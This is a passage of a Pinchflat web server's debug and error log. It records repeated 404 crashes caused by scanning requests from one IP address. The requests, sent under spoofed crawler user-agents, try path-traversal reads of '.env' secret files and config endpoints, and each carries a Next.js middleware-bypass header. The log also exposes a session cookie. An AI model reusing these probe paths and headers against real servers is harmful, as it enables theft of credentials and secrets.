11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29788.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/public../.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34454}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /public../ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29788.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/public../.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34454}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: (truncated) 16:49:09.359 [info] GET /dist../.env 16:49:09.359 [debug] QUERY OK source="settings" db=0.1ms idle=116.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:09.360 [debug] QUERY OK source="settings" db=0.1ms idle=115.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:09.360 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:09.360 [error] #PID<0.29791.0> running PinchflatWeb.Endpoint (connection #PID<0.29790.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /dist../.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /dist../ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29790.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/dist../.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34468}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexitybot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29791.0>, params: %{}, path_info: ["dist..", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexitybot)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/dist../.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61iBdaosH7IAAAIFD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29790.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/dist../.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34468}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexitybot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /dist../ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29790.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/dist../.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34468}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexitybot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x (truncated) 16:49:09.375 [info] GET /__/firebase/init.json 16:49:09.375 [debug] QUERY OK source="settings" db=0.0ms idle=131.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:09.375 [debug] QUERY OK source="settings" db=0.0ms idle=35.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:09.375 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:09.376 [error] #PID<0.29793.0> running PinchflatWeb.Endpoint (connection #PID<0.29792.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /__/firebase/init.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /__/firebase/init (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29792.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/__/firebase/init.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34472}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15 (Applebot/0.1)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29793.0>, params: %{}, path_info: ["__", "firebase", "init"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15 (Applebot/0.1)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/__/firebase/init.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61iFRQFe2HeYABwZh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29792.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/__/firebase/init.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34472}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15 (Applebot/0.1)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /__/firebase/init (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29792.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/__/firebase/init.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34472}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15 (Applebot/0.1)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:mi (truncated) 16:49:09.392 [info] GET /api/config 16:49:09.392 [debug] QUERY OK source="settings" db=0.0ms idle=52.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:09.392 [debug] QUERY OK source="settings" db=0.0ms idle=32.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:09.392 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:09.392 [error] #PID<0.29795.0> running PinchflatWeb.Endpoint (connection #PID<0.29794.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /api/config ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29794.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/config", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34484}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; MoonshotBot/1.0; +https://kimi.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29795.0>, params: %{}, path_info: ["api", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; MoonshotBot/1.0; +https://kimi.ai/)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/api/config", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61iJQPsyhmDQABwaB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29794.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/config", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34484}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; MoonshotBot/1.0; +https://kimi.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29794.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/config", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34484}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; MoonshotBot/1.0; +https://kimi.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :u (truncated) 16:49:09.406 [info] GET /config.js 16:49:09.406 [debug] QUERY OK source="settings" db=0.0ms idle=46.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:09.407 [debug] QUERY OK source="settings" db=0.0ms idle=31.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:09.407 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:09.407 [error] #PID<0.29797.0> running PinchflatWeb.Endpoint (connection #PID<0.29796.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /config.js ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, 